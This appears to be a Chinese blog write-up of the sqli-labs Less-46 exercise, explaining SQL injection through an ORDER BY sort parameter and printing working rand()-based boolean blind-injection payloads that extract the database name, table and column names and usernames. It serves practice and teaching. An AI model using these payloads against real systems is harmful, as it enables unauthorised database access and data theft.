当前位置:网站首页>SQL注入 Less46(order by后的注入+rand()布尔盲注)
SQL注入 Less46(order by后的注入+rand()布尔盲注)
2022-07-31 02:27:00 【开心星人】
$id=$_GET['sort'];
$sql = "SELECT * FROM users ORDER BY $id";
我们的注入点在 order by 后面的参数中,而 order by不同于的我们在 where 后的注入点,不能使用 union 等进行注入。
测试是否存在注入点
?sort=1 desc
?sort=1 asc
desc是 descend 降序意思
asc 是 ascend 升序意思
返回结果不同,说明可以注入。可利用 order by 后的一些参数进行注入
关于下面的这部分与解题无关,直接看布尔盲注的部分即可?sort=right(version(),1)
?sort=left(version(),1)
返回结果都是
我觉得可能是字符型的数字,所以又试了一下
不知道是不是会自动进行类型转换啥的
?sort=5
?sort='5'
所以,left(version(),1)返回的应该确实是字符型的数字
布尔盲注
select * from users order by rand();
对users表随机进行排序。
rand()返回的是一个0-1的浮点数,order by 后面跟的是列名或列号。
这里其实可以理解成users表中增加了一个rand字段,字段值是随机产生的。根据该rand字段来对users表进行排序。所以就到达了随机排序的效果
更多原理,看这篇
MySQL-17:order by rand()
select * from users order by rand(1);
select * from users order by rand(0);
?sort=rand(1)
?sort=rand(0)
?sot=rand(1=1)
?sort=rand(length(database())=8)
?sort=rand(ascii(substr(database(),1,1))=115)
?sort=rand(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101)
?sort=rand(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)='i')
?sort=rand(ascii(substr((select username from users limit 0,1), 1,1))=68)
当然这一题可以用时间盲注和报错注入来写的,Less47会用报错注入来写
https://blog.csdn.net/Kevinhanser/article/details/81563461
https://blog.csdn.net/weixin_43901998/article/details/107577630
边栏推荐
- LeetCode Daily Question 2022/7/25-2022/7/31
- Real-time image acquisition based on FPGA
- 项目开发软件目录结构规范
- Gateway routing configuration
- 1. Non-type template parameters 2. Specialization of templates 3. Explanation of inheritance
- Refuse to work overtime, a productivity tool set developed by programmers
- ShardingJDBC基本介绍
- 医疗影像领域AI软件开发流程
- Word/Excel fixed table size, when filling in the content, the table does not change with the cell content
- 【AcWing 62nd Weekly Game】
猜你喜欢
【Bank Series Phase 1】People's Bank of China
The principle of complete replication of virtual machines (cloud computing)
用户交互+格式化输出
公司官网建站笔记(六):域名进行公安备案并将备案号显示在网页底部
Layer 2 broadcast storm (cause + judgment + solution)
The real CTO is a technical person who understands products
vlan间路由+静态路由+NAT(PAT+静态NAT)综合实验
leetcode-399: division evaluation
Drools基本介绍,入门案例,基本语法
你们程序员为什么不靠自己的项目谋生?而必须为其他人打工?
随机推荐
Word/Excel fixed table size, when filling in the content, the table does not change with the cell content
cudaMemcpy学习笔记
Software Testing Defect Reporting - Definition, Composition, Defect Lifecycle, Defect Tracking Post-Production Process, Defect Tracking Process, Purpose of Defect Tracking, Defect Management Tools
Installation, start and stop of redis7 under Linux
Teach you how to configure Jenkins automated email notifications
Introduction and use of Drools WorkBench
Problems that need to be solved by the tcp framework
知识蒸馏7:知识蒸馏代码详解
Huawei od dice js
Real-time image acquisition based on FPGA
修改未正确放入沙盒造成苹果兼容性问题
221. Largest Square
Verify the integer input
f.grid_sample
1. Non-type template parameters 2. Specialization of templates 3. Explanation of inheritance
PDF split/merge
Between two orderly array of additive and Topk problem
LeetCode 1161 The largest element in the layer and the LeetCode road of [BFS binary tree] HERODING
leetcode-128: longest continuous sequence
f.grid_sample